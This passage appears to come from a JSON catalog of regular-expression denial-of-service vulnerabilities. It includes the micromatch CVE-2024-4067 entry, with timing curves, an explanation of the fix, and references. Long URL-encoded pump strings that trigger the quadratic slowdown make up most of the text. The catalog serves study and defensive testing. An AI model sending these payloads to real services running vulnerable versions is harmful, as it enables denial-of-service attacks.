%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B%5C%5B","verification":{"engine":"node v22.23.1","benign_ms":0.2,"curve":[{"input_length":5000,"pumps":2500,"ms":94.64,"timed_out":false},{"input_length":10000,"pumps":5000,"ms":376.2,"timed_out":false},{"input_length":20000,"pumps":10000,"ms":1510.85,"timed_out":false},{"input_length":40000,"pumps":20000,"ms":null,"timed_out":true}],"empirical_class":"quadratic","class_agrees":true}},{"id":"micromatch-CVE-2024-4067","name":"micromatch","type":"cve","cve":"CVE-2024-4067","ghsa":"GHSA-952p-6rrq-rcjv","cwe":"CWE-1333","ecosystem":"npm","engine":"javascript","package":"micromatch","affected":"<4.0.8","patched":"4.0.8","published":"2024-05-14","discovered_by":"reported via GitHub advisory GHSA-952p-6rrq-rcjv (micromatch issue #243)","regex":"\\{.*\\}","flags":"","complexity":"quadratic","attack":{"prefix":"","pad":"{","suffix":""},"benign":"{a,b,c}","fix":{"type":"algorithm-change","summary":"Before expanding braces, `micromatch.braces()` decided whether a pattern contained a brace expression with `/\\{.*\\}/.test(pattern)`. The regex `\\{.*\\}` is unanchored, so on a pattern made of a long run of `{` characters (with no closing `}`) the engine starts a match at every `{` offset, has `.*` greedily consume the rest of the string, then backtracks looking for a `}` that never appears and fails — repeating that O(n) scan from each of the O(n) start positions: quadratic O(n^2). micromatch 4.0.8 replaced the regex test with a linear `hasBraces()` helper that uses two `indexOf` calls (`v.indexOf('{')` then `v.indexOf('}', index)`), removing the backtracking scan entirely.","commit":"https://github.com/micromatch/micromatch/commit/03aa8052171e878897eee5d7bb2ae0ae83ec2ade"},"description":"micromatch is one of the most-depended-upon packages on npm (a core glob-matching utility used by anymatch, chokidar, fast-glob and much of the JavaScript build/watch toolchain). To decide whether a glob pattern needs brace expansion, `micromatch.braces()` ran `/\\{.*\\}/.test(pattern)`. Because the pattern is not anchored at the start of the string, a pattern consisting of a long run of `{` characters forces the engine to try the match from every `{` offset; at each offset the greedy `.*` consumes the remainder of the string and then backtracks looking for a `}` that is never found, so each of the O(n) start positions performs an O(n) scan — quadratic O(n^2) blow-up. Since glob patterns are frequently derived from user or config input, this is a denial-of-service vector. micromatch 4.0.8 replaced the regex probe with a backtracking-free `hasBraces()` helper built from `String.prototype.indexOf`.","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-4067","https://github.com/advisories/GHSA-952p-6rrq-rcjv","https://github.com/micromatch/micromatch/issues/243","https://github.com/micromatch/micromatch/pull/266","https://github.com/micromatch/micromatch/commit/03aa8052171e878897eee5d7bb2ae0ae83ec2ade"],"visualize":"https://aurelio-nakamura.github.io/regex-meltdown/#re=%5C%7B.*%5C%7D&in=%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%7B%